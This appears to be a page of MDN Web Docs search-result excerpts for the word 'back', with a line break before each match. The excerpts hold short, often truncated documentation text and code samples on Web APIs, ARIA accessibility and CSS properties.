... methods inherits from: eventtarget idbtransaction.abort() rolls
back all the changes to objects in the database associated with this transaction.
...transactions in this mode are known as "upgrade transactions." even if these constants are now deprecated, you can still use them to provide
backward compatibility if required (in chrome the change was made in version 21).
IntersectionObserver.takeRecords() - Web APIs
the intersectionobserver method takerecords() returns an array of intersectionobserverentry objects, one for each targeted element which has experienced an intersection change since the last time the intersections were checked, either explicitly through a call to this method or implicitly by an automatic call to the observer's call
back.
... note: if you use the call
back to monitor these changes, you don't need to call this method.
... calling this method clears the pending intersection list, so the call
back will not be run.
MediaPositionState.duration - Web APIs
this information can then, in turn, be used by the user agent to provide a user interface which displays media play
back information to the viewer.
... for example, a browser might use this information along with the position property and the navigator.mediasession.play
backstate, as well as the session's metadata to provide an integrated common user interface showing the currently playing media as well as standard pause, play, forward, reverse, and other controls.
... let positionstate = { duration: infinity; play
backrate: 1.0; position: 0.0; }; navigator.mediasession.setpositionstate(positionstate); specifications specification status comment media session standardthe definition of 'mediapositionstate.duration' in that specification.
MediaStreamTrack: mute event - Web APIs
musictrack.addeventlistener("mute", event => { document.getelementbyid("timeline-widget").style.
backgroundcolor = "#aaa"; }, false); musictrack.addeventlistener("unmute", event => { document.getelementbyid("timeline-widget").style.
backgroundcolor = "#fff"; }, false); with these event handlers in place, when the track musictrack enters its muted state, the element with the id timeline-widget gets its
background color changed to #aaa.
... when the track exits the muted state—detected by the arrival of an unmute event—the
background color is restored to white.
...the following example shows this: musictrack.onmute = event => { document.getelementbyid("timeline-widget").style.
backgroundcolor = "#aaa"; } musictrack.mute = event = > { document.getelementbyid("timeline-widget").style.
backgroundcolor = "#fff"; } specifications specification status comment media capture and streamsthe definition of 'mute' in that specification.
MediaStreamTrack: unmute event - Web APIs
musictrack.addeventlistener("mute", event => { document.getelementbyid("timeline-widget").style.
backgroundcolor = "#aaa"; }, false); musictrack.addeventlistener("unmute", event => { document.getelementbyid("timeline-widget").style.
backgroundcolor = "#fff"; }, false); with these event handlers in place, when the track musictrack enters its muted state, the element with the id timeline-widget gets its
background color changed to #aaa.
... when the track exits the muted state—detected by the arrival of an unmuted event—the
background color is restored to white.
...the following example shows this: musictrack.onmute = event => { document.getelementbyid("timeline-widget").style.
backgroundcolor = "#aaa"; } musictrack.mute = event = > { document.getelementbyid("timeline-widget").style.
backgroundcolor = "#fff"; } specifications specification status comment media capture and streamsthe definition of 'unmute' in that specification.
MediaTrackConstraints.displaySurface - Web APIs
for example, if your app needs to know that the surface being shared is a monitor or application—meaning that there's possibly a non-content
backdrop—it can use code similar to this: let mayhave
backdropflag = false; let displaysurface = displaystream.getvideotracks()[0].getsettings().displaysurface; if (displaysurface === "monitor" || displaysurface ==="application") { mayhave
backdropflag = true; } following this code, mayhave
backdrop is true if the display surface contained in the stream is of type monitor or application; either ...
...of these may have non-content
backdrop areas.
... later code can use this flag to determine whether or not to perform special processing, such as to remove or replace the
backdrop, or to "cut" the individual display areas out of the received frames of video.
Media Source API - Web APIs
videoplay
backquality contains information about the quality of video being played by a <video> element, such as number of dropped or corrupted frames.
... returned by the htmlvideoelement.getvideoplay
backquality() method.
... htmlvideoelement.getvideoplay
backquality() returns a videoplay
backquality object for the currently played video.
MutationObserverInit.childList - Web APIs
if childlist is false (the default), adding or removing new nodes does not trigger mutation call
backs.
... by setting childlist to true, your call
back will be invoked any time nodes are added to or removed from the dom node or nodes being watched.
... syntax var options = { childlist: true | false } value a boolean value indicating whether or not to invoke the call
back function when new nodes are added to or removed from the section of the dom being monitored..
PaintWorklet - Web APIs
<script> if ('paintworklet' in css) { css.paintworklet.addmodule('checkerboard.js'); } </script> use a paintworklet this example shows how to use a paintworklet in a stylesheet, including the simplest way to provide a fall
back if paintworklet isn't supported.
... <style> textarea {
background-image: url(checkerboard);
background-image: paint(checkerboard); } </style> <textarea></textarea> you can also use the @supports at-rule.
... @supports (
background: paint(id)) {
background-image: paint(checkerboard); } specifications specification status comment css painting api level 1the definition of 'paintworkletglobalscope' in that specification.
Performance.onresourcetimingbufferfull - Web APIs
syntax call
back = performance.onresourcetimingbufferfull = buffer_full_cb; return value call
back an eventhandler that is invoked when the resourcetimingbufferfull event is fired.
... examples the following example sets a call
back function on the onresourcetimingbufferfull property.
... function buffer_full(event) { console.log("warning: resource timing buffer is full!"); performance.setresourcetimingbuffersize(200); } function init() { // set a call
back if the resource buffer becomes filled performance.onresourcetimingbufferfull = buffer_full; } <body onload="init()"> specifications specification status comment resource timing level 1the definition of 'onresourcetimingbufferfull' in that specification.
Using Performance Timeline - Web APIs
// print the performanceentry object var json = pe.tojson(); var s = json.stringify(json); log("performanceentry.tojson = " + s); } performance observers the performance observer interfaces allow an application to register an observer for specific performance event types, and when one of those event types is recorded, the application is notified of the event via the observer's call
back function that was specified at the time, the observer was created.
... when the observer (call
back) is invoked the call
back's parameters include a performance observer entry list that only contains observed performance entries.
... function print_perf_entry(pe) { log("name: " + pe.name + "; entrytype: " + pe.entrytype + "; starttime: " + pe.starttime + "; duration: " + pe.duration); } the performance observer entry list interface has the same three getentries*() methods as the performance interface and these methods are used to retrieve observed performance entries within the observer call
back.
PopStateEvent - Web APIs
the popstate event is only triggered by doing a browser action such as a clicking on the
back button (or calling history.
back() in javascript).
... page at http://example.com/example.html running the following code will generate alerts as indicated: window.onpopstate = function(event) { alert("location: " + document.location + ", state: " + json.stringify(event.state)); }; history.pushstate({page: 1}, "title 1", "?page=1"); history.pushstate({page: 2}, "title 2", "?page=2"); history.replacestate({page: 3}, "title 3", "?page=3"); history.
back(); // alerts "location: http://example.com/example.html?page=1, state: {"page":1}" history.
back(); // alerts "location: http://example.com/example.html, state: null history.go(2); // alerts "location: http://example.com/example.html?page=3, state: {"page":3} note that even though the original history entry (for http://example.com/example.html) has no state object associated with it, a popstate...
... event is still fired when we activate that entry after the second call to history.
back().
PublicKeyCredentialRequestOptions.challenge - Web APIs
this value (among other client data) will be signed by the authenticator's private key and produce authenticatorassertionresponse.signature which should be sent
back to the server as part of the response.
...contains a cryptographic challenge emitted from the relying party's server which must be signed by the authenticator's private key and sent
back (within the response) to the relying party's server for verification.
... examples var options = { challenge: new uint8array([/* bytes sent from the server */]) }; navigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response
back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'challenge' in that specification.
Report - Web APIs
via the reports parameter of the call
back function passed into the reportingobserver() constructor upon creation of a new observer instance.
...precated features on our web page: let options = { types: ['deprecation'], buffered: true } let observer = new reportingobserver(function(reports, observer) { reportbtn.onclick = () => displayreports(reports); }, options); we then tell it to start observing reports using reportingobserver.observe(); this tells the observer to start collecting reports in its report queue, and runs the call
back function specified inside the constructor: observer.observe(); because of the event handler we set up inside the reportingobserver() constructor, we can now click the button to display the report details.
... the report details are displayed via the displayreports() fuction, which takes the observer call
back's reports parameter as its parameter: function displayreports(reports) { const outputelem = document.queryselector('.output'); const list = document.createelement('ul'); outputelem.appendchild(list); for(let i = 0; i < reports.length; i++) { let listitem = document.createelement('li'); let textnode = document.createtextnode('report ' + (i + 1) + ', type: ' + reports[i].type); listitem.appendchild(textnode); let innerlist = document.createelement('ul'); listitem.appendchild(innerlist); list.appendchild(listitem); for (let key in reports[i].body) { let innerlistitem = document.createelement('li'); let keyvalue = reports[i].body[key]; in...
ResizeObserver() - Web APIs
syntax var resizeobserver = new resizeobserver(call
back) parameters call
back the function called whenever an observed resize occurs.
... observer a reference to the resizeobserver itself, so it will definitely be accessible from inside the call
back, should you need it.
... the call
back will generally follow a pattern along the lines of: function(entries, observer) { for (let entry of entries) { // do something to each entry // and possibly something to the observer itself } } examples the following snippet is taken from the resize-observer-text.html (see source) example: const resizeobserver = new resizeobserver(entries => { for (let entry of entries) { if(entry.contentboxsize) { h1elem.style.fontsize = math.max(1.5, entry.contentboxsize.inlinesize/200) + 'rem'; pelem.style.fontsize = math.max(1, entry.contentboxsize.inlinesize/600) + 'rem'; } else { h1elem.style...
Screen Wake Lock API - Web APIs
it's a good idea to show some feed
back on the interface to show if wake lock is active and a way for the user to disable it if they wish.
... if your app is performing long-running downloads, consider using
background fetch.
... if you app is synchronizing data from a remote server, consider using
background sync.
ServiceWorkerRegistration - Web APIs
serviceworkerregistration.sync read only returns a reference to the syncmanager interface, which manages
background synchronization processes.
... unimplemented properties serviceworkerregistration.periodicsync read only returns a reference to the periodicsyncmanager interface, which manages periodic
background synchronization processes.
... web
background synchronization living standard adds the sync property.
SpeechRecognition - Web APIs
result fired when the speech recognition service returns a result — a word or phrase has been positively recognized and this has been communicated
back to the app.
... after some other values have been defined, we then set it so that the recognition service starts when a click event occurs (see speechrecognition.start().) when a result has been successfully recognised, the speechrecognition.onresult handler fires, we extract the color that was spoken from the event object, and then set the
background color of the <html> element to that color.
...e; recognition.maxalternatives = 1; var diagnostic = document.queryselector('.output'); var bg = document.queryselector('html'); document.body.onclick = function() { recognition.start(); console.log('ready to receive a color command.'); } recognition.onresult = function(event) { var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color; bg.style.
backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'speechrecognition' in that specification.
WebGLRenderingContext.getProgramParameter() - Web APIs
when using a webgl 2 context, the following values are available additionally: gl.transform_feed
back_buffer_mode: returns a glenum indicating the buffer mode when transform feed
back is active.
... gl.transform_feed
back_varyings: returns a glint indicating the number of varying variables to capture in transform feed
back mode.
... editor's draft adds new pname values: gl.transform_feed
back_buffer_mode, gl.transform_feed
back_varyings, gl.active_uniform_blocks ...
A basic 2D WebGL animation example - Web APIs
awarrays(gl.triangles, 0, vertexcount); window.requestanimationframe(function(currenttime) { let deltaangle = ((currenttime - previoustime) / 1000.0) * degreespersecond; currentangle = (currentangle + deltaangle) % 360; previoustime = currenttime; animatescene(); }); } the first thing that needs to be done in order to draw a frame of the animation is to clear the
background to the desired color.
...that's done here by calling requestanimationframe(), which asks that a call
back function be executed the next time the browser is ready to update the screen.
... our requestanimationframe() call
back receives as input a single parameter, currenttime, which specifies the time at which the frame drawing began.
Matrix math for the web - Web APIs
trixb[ 8], matrixb[ 9], matrixb[10], matrixb[11]]; let row3 = [matrixb[12], matrixb[13], matrixb[14], matrixb[15]]; // multiply each row by matrixa let result0 = multiplymatrixandpoint(matrixa, row0); let result1 = multiplymatrixandpoint(matrixa, row1); let result2 = multiplymatrixandpoint(matrixa, row2); let result3 = multiplymatrixandpoint(matrixa, row3); // turn the result rows
back into a single matrix return [ result0[0], result0[1], result0[2], result0[3], result1[0], result1[1], result1[2], result1[3], result2[0], result2[1], result2[2], result2[3], result3[0], result3[1], result3[2], result3[3] ]; } let's look at this function in action: let somematrix = [ 4, 0, 0, 0, 0, 3, 0, 0, 0, 0, 5, 0, 4, 8, 4, 1 ] let identitymatrix = [ 1, 0, 0, ...
... let transformmatrix = mdn.multiplyarrayofmatrices([ rotatearoundzaxis(math.pi * 0.5), // step 3: rotate around 90 degrees translate(0, 200, 0), // step 2: move down 100 pixels scale(0.8, 0.8, 0.8), // step 1: scale down ]); view on jsfiddle finally, a fun step to show how matrices work is to reverse the steps to bring the matrix
back to the original identity matrix.
... let transformmatrix = mdn.multiplyarrayofmatrices([ scale(1.25, 1.25, 1.25), // step 6: scale
back up translate(0, -200, 0), // step 5: move
back up rotatearoundzaxis(-math.pi * 0.5), // step 4: rotate
back rotatearoundzaxis(math.pi * 0.5), // step 3: rotate around 90 degrees translate(0, 200, 0), // step 2: move down 100 pixels scale(0.8, 0.8, 0.8), // step 1: scale down ]); why matrices are important matrices are important because they comprise a small set of numbers that can describe a wide range of transformations in space.
Creating 3D objects using WebGL - Web APIs
this is pretty much the same as it was for the square plane, but somewhat longer since there are 24 vertices (4 per side): const positions = [ // front face -1.0, -1.0, 1.0, 1.0, -1.0, 1.0, 1.0, 1.0, 1.0, -1.0, 1.0, 1.0, //
back face -1.0, -1.0, -1.0, -1.0, 1.0, -1.0, 1.0, 1.0, -1.0, 1.0, -1.0, -1.0, // top face -1.0, 1.0, -1.0, -1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, -1.0, // bottom face -1.0, -1.0, -1.0, 1.0, -1.0, -1.0, 1.0, -1.0, 1.0, -1.0, -1.0, 1.0, // right face 1.0, -1.0, -1.0, 1.0, 1.0, -1.0, 1.0, 1.0, 1.0, 1.0, -1.0, 1.0, // left face -1.0, ...
... const facecolors = [ [1.0, 1.0, 1.0, 1.0], // front face: white [1.0, 0.0, 0.0, 1.0], //
back face: red [0.0, 1.0, 0.0, 1.0], // top face: green [0.0, 0.0, 1.0, 1.0], // bottom face: blue [1.0, 1.0, 0.0, 1.0], // right face: yellow [1.0, 0.0, 1.0, 1.0], // left face: purple ]; // convert the array of colors into a table for all the vertices.
... const indices = [ 0, 1, 2, 0, 2, 3, // front 4, 5, 6, 4, 6, 7, //
back 8, 9, 10, 8, 10, 11, // top 12, 13, 14, 12, 14, 15, // bottom 16, 17, 18, 16, 18, 19, // right 20, 21, 22, 20, 22, 23, // left ]; // now send the element array to gl gl.bufferdata(gl.element_array_buffer, new uint16array(indices), gl.static_draw); return { position: positionbuffer, color: colorbuffer, indices: indexbuffer, ...
A simple RTCDataChannel sample - Web APIs
set up the remote peer remoteconnection = new rtcpeerconnection(); remoteconnection.ondatachannel = receivechannelcall
back; the remote end is set up similarly, except that we don't need to explicitly create an rtcdatachannel ourselves, since we're going to be connected through the channel established above.
... note: in a real-world scenario in which the two peers aren't running in the same context, the process is a bit more involved; each side provides, one at a time, a suggested way to connect (for example, udp, udp with a relay, tcp, etc.) by calling rtcpeerconnection.addicecandidate(), and they go
back and forth until agreement is reached.
... connecting the data channel once the rtcpeerconnection is open, the datachannel event is sent to the remote to complete the process of opening the data channel; this invokes our receivechannelcall
back() method, which looks like this: function receivechannelcall
back(event) { receivechannel = event.channel; receivechannel.onmessage = handlereceivemessage; receivechannel.onopen = handlereceivechannelstatuschange; receivechannel.onclose = handlereceivechannelstatuschange; } the datachannel event includes, in its channel property, a reference to a rtcdatachannel representing t...
Web Video Text Tracks Format (WebVTT) - Web APIs
there is also a small api available to represent and manage these tracks and the data needed to perform the play
back of the text at the correct times.
... within site css video::cue {
background-image: linear-gradient(to bottom, dimgray, lightgray); color: papayawhip; } video::cue(b) { color: peachpuff; } here, all video elements are styled to use a gray linear gradient as their
backgrounds, with a foreground color of "papayawhip".
...in this case, you insert your css rules into the file with each rule preceded by the string "style" all by itelf on a line of text, as shown below: webvtt style ::cue {
background-image: linear-gradient(to bottom, dimgray, lightgray); color: papayawhip; } /* style blocks cannot use blank lines nor "dash dash greater than" */ note comment blocks can be used between style blocks.
Window.find() - Web APIs
syntax window.find(astring, acasesensitive, a
backwards, awraparound, awholeword, asearchinframes, ashowdialog); astring the text string for which to search.
... a
backwards boolean.
... if true, specifies a
backward search.
Window.setImmediate() - Web APIs
this method is used to break up long running operations and run a call
back function immediately after the browser has completed other operations such as events and display updates.
... the feature can be emulated in a few different ways: postmessage can be used to trigger an immediate but yielding call
back.
... do note that internet explorer 8 includes a synchronous version of postmessage, which means it cannot be used as a fall
back.
WindowEventHandlers.onpopstate - Web APIs
the popstate event is only triggered by performing a browser action, such as clicking on the
back button (or calling history.
back() in javascript), when navigating between two history entries for the same document.
... page at http://example.com/example.html running the following code will generate alerts as indicated: window.onpopstate = function(event) { alert("location: " + document.location + ", state: " + json.stringify(event.state)); }; history.pushstate({page: 1}, "title 1", "?page=1"); history.pushstate({page: 2}, "title 2", "?page=2"); history.replacestate({page: 3}, "title 3", "?page=3"); history.
back(); // alerts "location: http://example.com/example.html?page=1, state: {"page":1}" history.
back(); // alerts "location: http://example.com/example.html, state: null history.go(2); // alerts "location: http://example.com/example.html?page=3, state: {"page":3} note that even though the original history entry (for http://example.com/example.html) has no state object associated with it, a popstate...
... event is still fired, when we activate that entry after the second call to history.
back().
WritableStream.WritableStream() - Web APIs
this takes two parameters: highwatermark a non-negative integer — this defines the total number of chunks that can be contained in the internal queue before
backpressure is applied.
...
backpressure because of how
backpressure is supported in the api, its implementation in code may be less than obvious.
... to see how
backpressure is implemented look for three things.
WritableStream - Web APIs
this object comes with built-in
backpressure and queuing.
...
backpressure because of how
backpressure is supported in the api, its implementation in code may be less than obvious.
... to see how
backpressure is implemented look for three things.
XRSession.visibilityState - Web APIs
the possible values of visibilitystate are: hidden the virtual scene generated by the xrsession is not currently visible to the user, so its requestanimationframe() call
backs are not being executed until thevisibilitystate changes.
...to that end, the session's requestanimationframe() call
backs are being processed at the xr device's native refresh rate and input controllers are being processed as normal.
...in order to optimize resource utilization, the user agent may be handling the session's requestanimationframe() call
backs at a throttled rate.
XRVisibilityState - Web APIs
values hidden the virtual scene generated by the xrsession is not currently visible to the user, so its requestanimationframe() call
backs are not being executed until thevisibilitystate changes.
...to that end, the session's requestanimationframe() call
backs are being processed at the xr device's native refresh rate and input controllers are being processed as normal.
...in order to optimize resource utilization, the user agent may be handling the session's requestanimationframe() call
backs at a throttled rate.
ARIA Test Cases - Accessibility
regression testers should test both tabbing forward and
back, to make sure that the groupbox description and button description are both read when the button is the first item focused in the groupbox.
...i jaws 9 - - n/a n/a jaws 10 - - - - voiceover (leopard) n/a n/a - fail window-eyes - - - - nvda - n/a - - zoom (leopard) pass n/a pass pass zoomtext - - - - orca - - - - radiogroup and radiobutton radio example using css
background images radio example using img element radio example using aria-activedescendent property dojo nightly build expected at behavior: on initial focus, the screen reader should announce the label of the radio group and the focused radio button, whether it is selected or not, and its position.
... it should still be possible to the document/browse/virtual mode
back on markup used: role="application" notes: results: at firefox ie opera safari jaws 9 fail fail n/a n/a jaws 10 pass with slight problems in the menu bar (wrong order of events or missing ones, sometimes making jaws believe it is still in a menu when the menu has actually closed) fail - - voiceover (leopard) n/a ...
ARIA: application role - Accessibility
background for historic reasons, especially on windows, screen readers and some other assistive technologies (at) have traditionally grabbed the whole web content from the browser at once after it had finished loading.
...escape is the most common way of switching
back to browse mode.
...in a slides application, for example, a widget could be created that uses the arrow keys to position elements on the slide, and uses audio feed
back via an aria live region to communicate the position and overlap status with other objects.
ARIA: document role - Accessibility
the document role brings the at
back into browse or read mode.
... assistive technologies should switch context
back to document mode, possibly intercepting from controls rewired for the parent's dynamic context, re-enabling the standard input events, such as up or down arrow keyboard events, to control the reading cursor.
...once focus returns to the message list either by activating the
back button or pressing an asociated keystroke, direct application interaction mode is invoked again, and the user can move to a different conversation in the list with the arrow keys.
Accessibility and Spacial Patterns - Accessibility
symbols which have the same luminance as their
background are perceptually less securely located in space and time than are symbols with higher luminance contrast.
...the phenomenon seems to be especially problematic for symbol/
background combinations that differ only in the blue channel." distance between stripes photosensitive seizures may be caused by static images as well as animation.
... for example, blue text on a gray
background is easier to perceive if it is surrounded "locally" by black than by white.
An overview of accessible web applications and widgets - Accessibility
presentational changes dynamic presentational changes include using css to change the appearance of content (such as a red border around invalid data, or changing the
background color of a checked checkbox), as well as showing or hiding content.
...a user presses tab to focus each link, button, or form on the page in a linear order, using shift-tab to navigate
backwards.
... it's a one-dimensional form of navigation—forward and
back, one element at a time.
-moz-context-properties - CSS: Cascading Style Sheets
if you reference an svg image in a webpage (such as with the <img> element or as a
background image), the svg image can coordinate with the embedding element (its context) to have the image adopt property values set on the embedding element.
... formal definition initial valuenoneapplies toany element that can have an image applied to it, for example as a
background-image, border-image, or list-style-image.inheritedyescomputed valueas specifiedanimation typediscrete formal syntax none | [ fill | fill-opacity | stroke | stroke-opacity ]# examples exposing fill and stroke to an svg image in this example we have a simple svg embedded using an <img> element.
...roke-width='30px' fill='context-fill red' stroke='context-stroke' fill-opacity='0.5'/></svg>"> here we've set the image src to a data uri containing a simple svg image; the <rect> inside has been made to take its fill and stroke values from the fill and stroke set on the <img> element by giving them the context-fill/context-stroke keywords in their values, along with a fall
back color for the fill (red) which will be used in the case that the svg is loaded standalone in a top-level window (where it will have no context element to provide context values).
:-moz-window-inactive - CSS: Cascading Style Sheets
note: prior to the addition of this pseudo-class, giving different styles to
background windows was achieved by setting an attribute (active="true") on the top-level xul chrome window.
... syntax :-moz-window-inactive examples this example alters the appearance of a box's
background depending on whether its window is active or not.
... html <div id="mybox"> <p>this is a box!</p> </div> css #mybox {
background: linear-gradient(to bottom, yellow, cyan); width: 200px; height: 200px; } #mybox:-moz-window-inactive {
background: cyan; } result the result of this code is shown below.
::before (:before) - CSS: Cascading Style Sheets
html <span class="ribbon">notice where the orange box is.</span> css .ribbon {
background-color: #5bc8f7; } .ribbon::before { content: "look at this orange box.";
background-color: #ffba10; border-color: black; border-style: dotted; } result to-do list in this example we will create a simple to-do list using pseudo-elements.
... html <ul> <li>buy milk</li> <li>take the dog for a walk</li> <li>exercise</li> <li>write code</li> <li>play music</li> <li>relax</li> </ul> css li { list-style-type: none; position: relative; margin: 2px; padding: 0.5em 0.5em 0.5em 2em;
background: lightgrey; font-family: sans-serif; } li.done {
background: #ccff99; } li.done::before { content: ''; position: absolute; border-color: #009933; border-style: solid; border-width: 0 0.3em 0.25em 0; height: 1em; top: 1.3em; left: 0.6em; margin-top: -1em; transform: rotate(45deg); width: 0.5em; } javascript var list = document.queryselector('ul'); list.addeventlistener('click', function(ev) { if (ev.targ...
...if you need to use a special character, and can not enter it literally into your css content string, use a unicode escape sequence, consisting of a
backslash followed by the hexadecimal unicode value.
::cue - CSS: Cascading Style Sheets
the only exception is that
background and its longhand properties apply to each cue individually, to avoid creating boxes and obscuring unexpectedly large areas of the media.
... syntax ::cue | ::cue( <selector> ) permitted properties rules whose selectors include this element may only use the following css properties:
background
background-attachment
background-clip
background-color
background-image
background-origin
background-position
background-repeat
background-size color font font-family font-size font-stretch font-style font-variant font-weight line-height opacity outline outline-color outline-style outline-width ruby-position text-combine-upright text-decoration text-decoration-color text-decoration-line text-decoration-style text-decoration-thickness text-shadow visibility white-space examples styling webvtt cues as white-on-black the following css sets the cue style so that the text is white and the
background is ...
... ::cue { color: #fff;
background-color: rgba(0, 0, 0, 0.6); } specifications specification status comment webvtt: the web video text tracks formatthe definition of '::cue' in that specification.
:read-only - CSS: Cascading Style Sheets
input:read-only, textarea:read-only {
background-color: #ccc; } p:read-only {
background-color: #ccc; } syntax :read-only examples confirming form information in read-only/read-write controls one use of readonly form controls is to allow the user to check and verify information that they may have entered in an earlier form (for example, shipping details), while still being able to submit the information along with the rest of the form.
... input:-moz-read-only, textarea:-moz-read-only, input:read-only, textarea:read-only { border: 0; box-shadow: none;
background-color: white; } textarea:-moz-read-write, textarea:read-write { box-shadow: inset 1px 1px 3px #ccc; border-radius: 5px; } you can find the full source code at readonly-confirmation.html; this renders like so: styling read-only non-form controls this selector doesn't just select <input>/<textarea> elements — it will select any element that cannot be edited by the user.
... <p contenteditable>this paragraph is editable; it is read-write.</p> <p>this paragraph is not editable; it is read-only.</p> p { font-size: 150%; padding: 5px; border-radius: 5px; } p:read-only {
background-color: red; color: white; } p:read-write {
background-color: lime; } specifications specification status comment html living standardthe definition of ':read-only' in that specification.
:read-write - CSS: Cascading Style Sheets
input:read-write, textarea:read-write {
background-color: #bbf; } p:read-write {
background-color: #bbf; } syntax :read-write examples confirming form information in read-only/read-write controls one use of readonly form controls is to allow the user to check and verify information that they may have entered in an earlier form (for example, shipping details), while still being able to submit the information along with the rest of the form.
... input:-moz-read-only, textarea:-moz-read-only, input:read-only, textarea:read-only { border: 0; box-shadow: none;
background-color: white; } textarea:-moz-read-write, textarea:read-write { box-shadow: inset 1px 1px 3px #ccc; border-radius: 5px; } you can find the full source code at readonly-confirmation.html; this renders like so: styling read-write non-form controls this selector doesn't just select <input>/<textarea> elements — it will select any element that can be edited by the user, such as a <p...
... <p contenteditable>this paragraph is editable; it is read-write.</p> <p>this paragraph is not editable; it is read-only.</p> p { font-size: 150%; padding: 5px; border-radius: 5px; } p:read-only {
background-color: red; color: white; } p:read-write {
background-color: lime; } specifications specification status comment html living standardthe definition of ':read-write' in that specification.
:target - CSS: Cascading Style Sheets
isn't that delightful?</p> css p:target {
background-color: gold; } /* add a pseudo-element inside the target element */ p:target::before { font: 70% sans-serif; content: "►"; color: limegreen; margin-right: .25em; } /* style italic elements within the target element */ p:target i { color: red; } result pure-css lightbox you can use the :target pseudo-class to create a lightbox without using any javascript.
...c gravida magna.</figcaption> </figure> </div> css /* unopened lightbox */ .lightbox { display: none; } /* opened lightbox */ .lightbox:target { position: absolute; left: 0; top: 0; width: 100%; height: 100%; display: flex; align-items: center; justify-content: center; } /* lightbox content */ .lightbox figcaption { width: 25rem; position: relative; padding: 1.5em;
background-color: lightpink; } /* close button */ .lightbox .close { position: relative; display: block; } .lightbox .close::after { right: -1rem; top: -1rem; width: 2rem; height: 2rem; position: absolute; display: flex; z-index: 1; align-items: center; justify-content: center;
background-color: black; border-radius: 50%; color: white; content: "×"; cursor: pointer; ...
...} /* lightbox overlay */ .lightbox .close::before { left: 0; top: 0; width: 100%; height: 100%; position: fixed;
background-color: rgba(0,0,0,.7); content: ""; cursor: default; } result specifications specification status comment html living standardthe definition of ':target' in that specification.
Using CSS animations - CSS: Cascading Style Sheets
let’s say we want the header’s font size to increase as it moves from right to left for a while, then to decrease
back to its original size.
...tion-iteration-count: infinite; } adding it to the existing code: @keyframes slidein { from { margin-left: 100%; width: 300%; } to { margin-left: 0%; width: 100%; } } <p>the caterpillar and alice looked at each other for some time in silence: at last the caterpillar took the hookah out of its mouth, and addressed her in a languid, sleepy voice.</p> making it move
back and forth that made it repeat, but it’s very odd having it jump
back to the start each time it begins animating.
... what we really want is for it to move
back and forth across the screen.
CSS Box Alignment - CSS: Cascading Style Sheets
fall
back alignment if you set an alignment that cannot be fulfilled, then the fall
back alignment will come into play and deal with the available space.
... this fall
back alignment is specified individually for each layout method and detailed on the page for that method.
... in css grid layout box alignment in multiple-column layout box alignment for block, absolutely positioned and table layout reference css properties justify-content align-content place-content justify-items align-items place-items justify-self align-self place-self row-gap column-gap gap glossary entries cross axis main axis alignment container alignment subject fall
back alignment guides css flexbox guide: basic concepts of flexbox css flexbox guide: aligning items in a flex container css grid guide: box alignment in css grid layouts external resources box alignment cheatsheet css grid, flexbox and box alignment thoughts on partial implementations of box alignment ...
Stacking without the z-index property - CSS: Cascading Style Sheets
when the z-index property is not specified on any element, elements are stacked in the following order (from bottom to top): the
background and borders of the root element descendant non-positioned blocks, in order of appearance in the html descendant positioned elements, in order of appearance in the html keep in mind, when the order property alters rendering from the "order of appearance in the html" within flex containers, it similarly affects the order for stacking context.
...div> <div id="rel2" class="relative"> <b>div #3</b><br />position: relative;</div> <div id="abs2" class="absolute"> <b>div #4</b><br />position: absolute;</div> <div id="sta1" class="static"> <b>div #5</b><br />position: static;</div> css b { font-family: sans-serif; } div { padding: 10px; border: 1px dashed; text-align: center; } .static { position: static; height: 80px;
background-color: #ffc; border-color: #996; } .absolute { position: absolute; width: 150px; height: 350px;
background-color: #fdd; border-color: #900; opacity: 0.7; } .relative { position: relative; height: 80px;
background-color: #cfc; border-color: #696; opacity: 0.7; } #abs1 { top: 10px; left: 10px; } #rel1 { top: 30px; margin: 0px 50px 0px 50px; } #rel2 { top...
...: 15px; left: 20px; margin: 0px 50px 0px 50px; } #abs2 { top: 10px; right: 10px; } #sta1 {
background-color: #ffc; margin: 0px 50px 0px 50px; } ...
Overview of CSS Shapes - CSS: Cascading Style Sheets
as in this level of the specification an element has to be floated in order to apply <basic-shape> to it; this has the side-effect of creating a simple fall
back for many cases.
... the image below is a square image with a blue
background.
...if your polygon isn’t quite right you can use the shapes editor to tweak it, then copy the new value
back into your css.
Shapes From Images - CSS: Cascading Style Sheets
in the example below i am using a similar image to the initial example, however in this image the
background of the star is not fully transparent, it has a 20% opacity as created in my graphics programme.
... in this next example i have used generated content and floated this content, giving it a
background image of a linear gradient.
... you could also try removing the
background image completely, thus using the gradient purely to create the shape and not displaying it on the page at all.
align-content - CSS: Cascading Style Sheets
the fall
back alignment for first baseline is start, the one for last baseline is end.
...baseline<content-distribution> = space-between | space-around | space-evenly | stretch<overflow-position> = unsafe | safe<content-position> = center | start | end | flex-start | flex-end examples css #container { height:200px; width: 240px; align-content: center; /* can be changed in the live sample */
background-color: #8c8c8c; } .flex { display: flex; flex-wrap: wrap; } .grid { display: grid; grid-template-columns: repeat(auto-fill, 50px); } div > div { box-sizing: border-box; border: 2px solid #8c8c8c; width: 50px; display: flex; align-items: center; justify-content: center; } #item1 {
background-color: #8cffa0; min-height: 30px; } #item2 {
background-color: #a0c8ff...
...; min-height: 50px; } #item3 {
background-color: #ffa08c; min-height: 40px; } #item4 {
background-color: #ffff8c; min-height: 60px; } #item5 {
background-color: #ff8cff; min-height: 70px; } #item6 {
background-color: #8cffff; min-height: 50px; font-size: 30px; } select { font-size: 16px; } .row { margin-top: 10px; } html <div id="container" class="flex"> <div id="item1">1</div> <div id="item2">2</div> <div id="item3">3</div> <div id="item4">4</div> <div id="item5">5</div> <div id="item6">6</div> </div> <div class="row"> <label for="display">display: </label> <select id="display"> <option value="flex">flex</option> <option value="grid">grid</option> </select> </div> <div class="row"> <label for="values">align-content: </label> <se...
animation-timing-function - CSS: Cascading Style Sheets
ease equal to cubic-bezier(0.25, 0.1, 0.25, 1.0), the default value, increases in velocity towards the middle of the animation, slowing
back down at the end.
...<div class="easeout">ease-out</div> <div class="easeinout">ease-in-out</div> <div class="linear">linear</div> <div class="cb">cubic-bezier(0.2,-2,0.8,2)</div> </div> .parent > div[class] { animation-name: changeme; animation-duration: 10s; animation-iteration-count: infinite; margin-bottom: 4px; } @keyframes changeme { 0% { min-width: 12em; width: 12em;
background-color: black; border: 1px solid red; color: white; } 100% { width: 90vw; min-width: 24em;
